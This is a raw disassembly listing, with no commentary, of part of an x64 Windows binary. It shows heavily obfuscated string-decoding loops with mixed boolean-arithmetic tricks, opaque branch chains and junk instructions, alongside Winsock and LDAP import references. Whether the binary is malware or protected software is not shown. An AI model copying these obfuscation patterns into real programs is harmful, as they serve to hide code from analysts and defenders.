add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x1f
movabs rcx, 0x85ab0e64c247ddc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 4
add cl, r11b
mov byte [rbp + rbx + 0xb68], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
movabs rcx, 0x63c9a15bbb01037f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x79
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
movabs rcx, 0x47eaf18d628245a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x1400775d0
movabs rcx, 0x56485fae5d6edff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
jmp 0x1400775c0
lea rcx, [rbp + 0x14f7e84]
jmp 0x1400783ce
lea rcx, [rbp + 0x652a59]
jmp 0x1400783ce
lea rcx, [rbp + 0xb68]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x14022a120]
lea rcx, [rbp + 0x4e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0xb90], 0xab
mov byte [rbp + 0xb91], 0xb9
mov byte [rbp + 0xb92], 0xa3
mov byte [rbp + 0xb93], 0xb6
mov byte [rbp + 0xb94], 0xbd
mov byte [rbp + 0xb95], Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb96], xmm0
mov qword [rbp + 0xba6], rax
mov dword [rbp + 0xbae], eax
mov byte [rbp + 0xbb2], al
movabs rsi, 0x4a12f11d06c07a07
movabs r13, 0xfb7c256b72dbcab
movabs r14, 0x88c6851575d570d9
movabs r15, 0x695700680779f783
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007906a
movzx r11d, byte [rbp + rbx + 0xb90]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140079061
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400784dc
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x53
jmp 0x140078500
je 0x140078fdc
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078f3e
lea rax, [rcx + 1]
cmp r8, rax
je 0x140078f06
nop dword [rax]
cmp r9, rbx
ja 0x140079058
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14007852a
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
jmp 0x140078570
lea rax, [r9 + 1]
cmp r8, rax
je 0x140078eae
inc rax
cmp r8, rax
je 0x140078e83
lea rax, [r9 + 6]
cmp r8, rax
je 0x140078e4f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140078e2b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078e08
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140078abc
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140078a98
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140078a66
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140078a3c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140078a14
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400789eb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400789b6
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140078992
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140078969
mov r8, rax
lea r9, [rax + 4]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140079034
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140079010
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140078714
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400786f9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400786de
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400788a0
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140078580
lea r8, [r9 + 0x7a]
lea r9, [r8 + 8]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140078866
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007883e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007881a
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400787e1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400787bd
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007878e
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x140078761
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140078738
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140078580
mov r8, rcx
lea r9, [rcx + 1]
jmp 0x140078580
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x140078570
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
jmp 0x140078500
movabs rcx, 0x49e77bba991e7e2d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
jmp 0x1400784a5
movabs rdx, 0x509788e83603d038
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078ed1
movabs rcx, 0x3128043ac7a856e2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
inc r9
dec rbx
inc rbx
jmp 0x140078492
movabs rdx, 0x11b87f8d594cdd8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140078492
movabs rcx, 0xd2d976327c95eae0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x140078f26
movabs rdx, 0xb369f1850e3a718a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078492
movabs rcx, 0x93fa6cd79fdef834
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x140078f5f
movabs rdx, 0x748ae82a31837ede
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x140078f92
movabs rdx, 0x551b637cc3280588
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
movabs rdx, 0xa83609c2e430ea2f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x49
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x140078dd7
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140078bf6
movabs rcx, 0xbec94ea9a5e5f4bf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
cmp r8, 0x28
jae 0x140078d80
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140078c98
movabs rcx, 0x8dc3fc6aca66ec6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
cmp r9, 0x64
jb 0x140078d70
movabs rcx, 0x43376e8cfc392c22
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140078ed1
movabs rdx, 0x9d022200ba2762d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078f92
movabs rcx, 0x7d929d534bcbe97e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x140078f5f
movabs rcx, 0x5e2318a5dd707028
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078492
movabs rdx, 0x3eb393f86f14f6d2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078f26
movabs rdx, 0x1f440f4b00b97d7c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x140078dab
movabs rcx, 0xffd48a9d925e0426
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
dec rbx
inc rbx
jmp 0x140078492
movabs rdx, 0xe06505f024028ad0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140078492
movabs rcx, 0xc0f58142b5a7117a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x140078ed1
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140078ae3
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x1400788c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078b21
movabs rcx, 0x9425e23a0d80f40e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
inc rax
cmp r8, rax
jne 0x140078b4d
movabs rcx, 0xd304eb94ea37e6ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x140078f5f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078b8a
movabs rcx, 0xf274704258936010
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078492
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140078bb7
movabs rcx, 0x3153799d354a52bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x140078dab
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400788c3
movabs rdx, 0x703282f812014568
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140078492
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078c23
movabs rcx, 0xde38d35714416e15
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x140078ed1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078c56
movabs rcx, 0x1d17dcb1f0f860c1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
dec rbx
inc rbx
jmp 0x140078492
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400788ff
movabs rcx, 0xd9b4f8c2871d38c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078cdb
movabs rdx, 0x284bc4741b01e81c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
inc rax
cmp r8, rax
jne 0x140078d07
movabs rcx, 0x47bb4921895d6172
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x140078f92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078d34
movabs rcx, 0x672acdcef7b8dac8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x140078f5f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140078935
movabs rdx, 0xe4e8e084b126c020
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140078492
mov byte [rbp + rbx + 0xb90], r10b
inc rbx
jmp 0x140078492
movabs rdx, 0x62a6f33a6a94a578
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xb90]
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, r11b
movabs rcx, 0x725eb59121c26223
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0xb
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xb90], cl
jmp 0x140078f26
movabs rdx, 0x821677e7d8f01ece
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xb90]
add r10b, dl
add r10b, r11b
jmp 0x140078f5f
movabs rcx, 0x458f1688799c44b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
jmp 0x140078f92
movabs rcx, 0x261f91db0b40cb61
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
jmp 0x140078f5f
movabs rcx, 0x6b00d2d9ce5520b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078492
movabs rcx, 0xa8617f2551d2e609
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3f
dec rbx
inc rbx
jmp 0x140078492
movabs rdx, 0x698275ca751bf35d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
add r10b, dl
movabs rcx, 0x52ef30e3b366e8cd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x65
add r11b, cl
mov byte [rbp + rbx + 0xb90], r11b
inc r9
dec rbx
inc rbx
jmp 0x140078492
movabs rcx, 0xace559b9def71b59
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6f
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078492
mov r11, rdx
movabs rcx, 0x6e06505f024028ad
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x45
movabs rdx, 0x91ce3a3e901ddb79
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xb90], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xa185fc95474b9824
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xb90], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
movabs rcx, 0x2f27470425893601
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 7
movzx eax, byte [rbp + rbx + 0xb90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078492
movabs rcx, 0x2a77f70d2ac304d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x140078490
movabs rcx, 0xb08725fbc678b81
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x140078480
lea rcx, [rbp + 0x17ace74]
jmp 0x140079071
lea rcx, [rbp + 0x688b1f]
jmp 0x140079071
lea rcx, [rbp + 0xb90]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x14022a000]
lea rcx, [rbp + 0x508]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0xbb8], 0x66
mov byte [rbp + 0xbb9], 3
mov byte [rbp + 0xbba], 0x7f
mov byte [rbp + 0xbbb], 0x7f
mov byte [rbp + 0xbbc], 0x79
mov byte [rbp + 0xbbd], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xbbe], 0
mov byte [rbp + 0xbbf], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xbc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xbc1], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xbc2], 0x98
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbc3], xmm0
mov qword [rbp + 0xbd3], rax
movabs rsi, 0x8bc0e09d7e329e43
movabs r14, 0x76d26ceb5a26fb7f
movabs r15, 0x9f11a61fd4d29f72
movabs r13, 0xfa855d82ee0df7c8
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor ebx, ebx
movabs rcx, 0x4a6237fe39b61c35
cmp rbx, 0x23
jae 0x1400798bc
movzx r10d, byte [rbp + rbx + 0xbb8]
mov edx, r10d
cmp r9, rbx
ja 0x1400798b3
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400791a7
lea rcx, [rbx + rsi]
mov eax, edx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0x2b
movabs rcx, 0x4a6237fe39b61c35
jmp 0x1400791c6
je 0x14007982d
inc rax
cmp r9, rax
je 0x1400797c5
lea rax, [r8 + 2]
cmp r9, rax
je 0x140079770
cmp r8, rbx
ja 0x1400798aa
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400791f4
lea rcx, [rbx + r14]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x79
add r11b, cl
jmp 0x14007922e
je 0x14007974e
lea rax, [r8 + 2]
cmp r9, rax
je 0x140079723
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400796ee
lea rax, [r8 + 3]
cmp r9, rax
je 0x140079696
lea rax, [r8 + 8]
cmp r9, rax
je 0x14007966a
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14007934b
nop dword [rax]
lea rax, [r8 + 4]
cmp r9, rax
je 0x140079322
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400792f8
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x40]
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x140079886
lea rax, [r8 + 5]
cmp r9, rax
jb 0x140079861
lea r9, [r8 + 0x7a]
lea r8, [r9 + 5]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400792c8
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400792a0
lea r9, [r8 + 0x42]
lea r8, [r9 + 6]
jmp 0x140079240
lea rcx, [rbx + r15]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1e
add r11b, cl
inc r8
dec rbx
inc rbx
jmp 0x140079152
lea rcx, [rbx + r13]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, cl
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
movabs rcx, 0x99eb0b0e241f6bee
add rcx, rbx
movzx eax, r10b
and al, cl
mov r11d, 0x3f
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
jmp 0x1400796b9
movabs rdx, 0xce083ac39c000ca
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140079793
lea rax, [r8 + 0x10]
cmp r9, rax
jae 0x140079420
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, cl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x140079640
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x1400794c3
movabs rdx, 0x4cf58587120fb5f7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3f
add r11b, dl
cmp r9, 3
jae 0x1400795d2
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x140079523
movabs rcx, 0xc3c7f2726c36b176
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
cmp r8, 4
jb 0x1400795c2
movabs rdx, 0xaed97ec0482b0eb2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140079793
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079463
movabs rdx, 0xeda4d9d6b44df6fe
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140079491
movabs rdx, 0x1ca85c4cad18700a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x46
jmp 0x1400796b6
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140079372
movabs rdx, 0xa9b2e3ae9777db2e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
jmp 0x140079790
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400794f1
movabs rdx, 0x647746c20e74f27d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6b
jmp 0x140079790
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400793b3
movabs rdx, 0xaafc8a7303a4a80f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x69
jmp 0x1400795fb
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079566
movabs rdx, 0xdb49b3ad689bedfc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140079594
movabs rdx, 0xa4d362361666708
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x1400796b6
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400793ec
movabs rcx, 0x50d279d456961c9a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
jmp 0x1400795fe
mov byte [rbp + rbx + 0xbb8], r11b
inc rbx
jmp 0x140079152
movabs rdx, 0xc65b3ffb44904b38
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xbb8]
add r11b, r10b
add r11b, dl
movabs rdx, 0x521c2098c2c2e97b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x5d
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xbb8], cl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079152
movabs rdx, 0xdddd013640f587be
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xbb8]
sub r11b, 0x32
jmp 0x1400796b6
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x73
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
movabs rdx, 0x1b5eb58840eba329
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1f
add r11b, dl
movabs rcx, 0x699de1d3bf282601
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 7
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xbb8], al
inc r8
add rax, r8
sub rbx, rax
jmp 0x1400797e3
movabs rcx, 0x3dcf44d448666a3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x75
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079152
movabs rcx, 0xbd57b09c4f56b111
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x77
dec rbx
inc rbx
jmp 0x140079152
movabs rdx, 0x8e542e26568c3805
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x23
jmp 0x140079790
movabs rdx, 0x5f50abb05dc1bef9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x31
add r11b, dl
movabs rcx, 0x3a9a5f5dc65dacf5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x4d
add cl, r10b
mov byte [rbp + rbx + 0xbb8], cl
inc r8
dec rbx
inc rbx
jmp 0x140079152
movabs rcx, 0xbac4631376fd174f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
movabs rdx, 0xf55ec2713d5ac444
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xbb8], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
movabs rcx, 0xa342a1d87a97dac9
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7f
movzx eax, byte [rbp + rbx + 0xbb8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079152
movabs rcx, 0x9b34b1d2904c38cf
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x57
jmp 0x14007914e
movabs rcx, 0x83b2f09793e6fc49
add rcx, rbx
